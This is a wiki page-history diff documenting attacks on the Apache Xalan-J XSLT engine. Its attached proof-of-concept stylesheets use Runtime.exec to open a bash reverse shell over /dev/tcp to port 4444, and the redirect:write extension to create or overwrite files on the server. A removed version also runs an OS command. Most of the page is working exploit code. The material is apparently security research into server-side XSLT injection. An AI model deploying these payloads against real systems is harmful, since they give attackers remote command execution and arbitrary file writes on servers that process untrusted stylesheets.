Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 45.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:38
Change comment: Upload new attachment xalanj-java-date.xsl
To version Icon 56.1 Icon
edited by Nicolas Gregoire
on 2012/01/12 00:11
Change comment: Upload new attachment xalanj-write.xsl

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Content
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50 50  
51 51  == OS command execution ==
52 52  
53 -The following code will execute the command "touch /tmp/hello" :
53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-)
54 54  
55 -<?xml version="1.0"?>
56 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform"
57 - xmlns:j="http:~/~/xml.apache.org/xalan/java"
58 - exclude-result-prefixes="j"
59 - version="1.0">
60 - <xsl:template match="/">
61 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable>
62 - <xsl:variable name="a" select="j:split($c, ' = ')"/>
63 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/>
64 - <xsl:variable name="p" select="j:exec($r, $a )"/>
65 - No content at the moment ...
66 - </xsl:template>
67 -</xsl:stylesheet>
55 +|=Namespace|=Extension functions|=PoC
56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]]
57 +
58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]].
59 +
60 +== File creation ==
61 +
62 +The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten.
63 +
64 +|=Namespace|=Extension element|=Parameter|=PoC
65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]\\
66 +
67 +ccc
68 +
69 +== JDBC connectivity ==
70 +
71 +xxx TODO xxx
Icon xalanj-reverse-bash.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +1002 bytes
Content
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1 +<xsl:stylesheet
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:jv="http://xml.apache.org/xalan/java"
4 + exclude-result-prefixes="jv"
5 + version="1.0">
6 +
7 + <xsl:template match="/">
8 +
9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable>
10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/>
11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/>
12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/>
13 +
14 +Objet "String" :
15 + <xsl:value-of select="$test"/>
16 +
17 +Objet "Array" :
18 + <xsl:variable name="aAsString" select="jv:toString($a)"/>
19 + <xsl:value-of select="$aAsString"/>
20 +
21 +Objet "Runtime" :
22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/>
23 + <xsl:value-of select="$rtobjectAsString"/>
24 +
25 +Objet "Process" :
26 + <xsl:variable name="processAsString" select="jv:toString($process)"/>
27 + <xsl:value-of select="$processAsString"/>
28 +
29 + </xsl:template>
30 +</xsl:stylesheet>
31 +
Icon xalanj-write.xsl
Author
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1 +xwiki:XWiki.NicolasGregoire
Size
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1 +373 bytes
Content
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1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
2 + xmlns:redir="http://xml.apache.org/xalan/redirect"
3 + extension-element-prefixes="redir"
4 + version='1.0'>
5 +
6 + <xsl:template match="/">
7 + <redir:write file="/tmp/created_by_xalanj_write" method="text">
8 + <xsl:text>Just a PoC</xsl:text>
9 + </redir:write>
10 + </xsl:template>
11 +
12 +</xsl:stylesheet>
13 +